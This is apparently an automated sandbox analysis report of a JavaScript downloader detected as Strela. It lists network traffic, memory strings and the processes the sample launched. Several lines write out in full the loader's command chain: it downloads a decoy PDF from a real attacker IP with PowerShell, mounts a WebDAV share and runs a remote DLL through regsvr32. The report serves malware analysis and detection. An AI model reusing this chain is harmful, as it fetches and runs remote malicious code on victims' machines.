4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:53943 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2126419028.000001D3E41DE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2126628963.000001D3E5B4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2187103464.0000015EA786B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2187103464.0000015EA788A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2187103464.0000015EA785D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2187103464.0000015EA786B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/&
Source: net.exe, 00000007.00000002.2187103464.0000015EA786B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.
Source: net.exe, 00000007.00000002.2187103464.0000015EA786B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Z
Source: svchost.exe, 00000009.00000002.3421688295.00000260D4A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2188476143.00000260D4730000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1812, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 260622981189829640.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5144:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4jbpv4rv.pwl.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 260622981189829640.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1744 --field-trial-handle=1548,i,17040936807131731567,18358313180190136609,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1744 --field-trial-handle=1548,i,17040936807131731567,18358313180190136609,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
